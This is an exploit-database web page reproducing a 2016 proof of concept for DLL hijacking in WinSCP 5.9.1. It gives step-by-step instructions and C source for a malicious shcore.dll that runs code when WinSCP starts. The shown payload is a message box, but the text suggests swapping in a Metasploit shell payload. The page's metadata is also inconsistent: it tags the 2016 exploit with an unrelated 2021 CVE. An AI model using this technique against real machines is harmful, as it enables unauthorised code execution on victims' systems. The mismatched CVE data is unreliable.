Advertisement






WinSCP DLL Hijacking Exploit (shcore.dll)

CVE Category Price Severity
CVE-2021-1675 CWE-426 Not disclosed High
Author Risk Exploitation Type Date
Unknown High Local 2016-09-08
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016090050

Below is a copy:

WinSCP DLL Hijacking Exploit (shcore.dll)# Exploit Title: WinSCP DLL Hijacking Exploit (shcore.dll)
# Date: 03-09-2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage:http://winscp.net/
# Software Link: http://winscp.net/download/WinSCP-5.9.1-Setup.exe
# Version:5.9.1
# Tested on:Windows 7
# Exploit by : Amir.ght
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#
Vuln DLL: shcore.dll
WinSCP is an open source free SFTP client, FTP client, WebDAV client
and SCP client for Windows.
Its main function is file transfer between a local and a remote computer.
WinSCP.exe will search for an load any DLL named "shcore.dll".
If an attacker can place the DLL in a location
where victim open WinSCP.exe it will load and run the attackers DLL
and code.
also can generate a msfpayload DLL and spawn a shell, for example.

#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
# Exploit:

1- Save and compile below C code as 'shcore.dll' to create vuln DLL

2- Place 'shcore.dll' on Same Directory of WinSCP

3- Open WinSCP.exe

//gcc test.c -o shcore.dll -shared
//this dll show a message box
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
#################################
Discovered By : Amir.ght  #######
#################################


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum